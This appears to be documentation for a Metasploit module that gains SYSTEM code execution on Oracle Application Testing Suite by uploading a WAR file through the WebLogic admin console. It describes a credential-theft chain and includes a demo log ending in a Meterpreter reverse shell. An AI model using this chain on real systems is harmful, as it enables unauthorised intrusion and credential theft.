## Description

Oracle Application Testing Suite (OATS) is a comprehensive, integrated testing solution for web applications, web services, packaged Oracle applications, and Oracle databases. OATS is part of an application deployed in the WebLogic service on port 8088, which also includes these tools: Administrator, OpenScript, Oracle Load Testing, and Oracle Test Manager.

In the administrator console, the deployement feature can be abused to upload an arbitrary WAR file, allowing remote code execution under the context of SYSTEM. Authentication is required.


## Vulnerable Application

The following is the exact setup I used to test and analyze the vulnerability:

- Windows Server 2008 R2 x64 (other Windows systems are also supported)
  - .Net Framework 3.5 enabled (from add/remove features)
  - IE ESC (from Server Manager) disabled
  - 8GB of RAM (at least more than 4GB will be used to run OATS)
  - Duel-Core processor
- oats-win64-full-13.3.0.1.262.zip (x86 did not work for me)
- Jdk-7u21-windows-x64.exe
- OracleXE112_Win64.zip (Newer version 18c did not work well for me)
- Firefox (I had to install this because IE on Win2k8 is completely outdated)
- Adobe Flash installed (IE ESC needs to be disabled in order to install this)

For installation instructions, please refer to the Oracle Application Testing Suite Installation Guide.

## Notes

For Oracle Application Testing Suite (OATS), you may use the auxiliary/gather/oats_downloadservlet_traversal module to download the server's encrypted credentials, decrypt them using a third-party tool, and then use this module to gain remote code execution.

## Credit

Special thanks to Steven Seeley to assist on the development of the Metasploit module.

## Demo

```
msf5 exploit(windows/http/oats_weblogic_console) > check
[*] 172.16.135.128:8088 - The target service is running, but could not be validated.
msf5 exploit(windows/http/oats_weblogic_console) > run

[*] Started reverse TCP handler on 172.16.135.1:4444 
[+] Logged in as oats:VeryPhat1337
[*] Ready for war. Codename "lawrence" at 6256 bytes
[*] FRSC value: 0x59c5c771ae7d83c8440d7c45d2610dca5a0aa304a9e89e4c
[*] Server replies: "The file lawrence.war has been uploaded successfully to C:\\OracleATS\\oats\\servers\\AdminServer\\upload"
[+] Operation "lawrence" is a go!
[*] Code 200 on "lawrence" request
[*] Sending stage (53866 bytes) to 172.16.135.128
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.128:49337) at 2019-05-18 18:07:27 -0500
[+] Successfully undeployed lawrence.war

meterpreter >
```
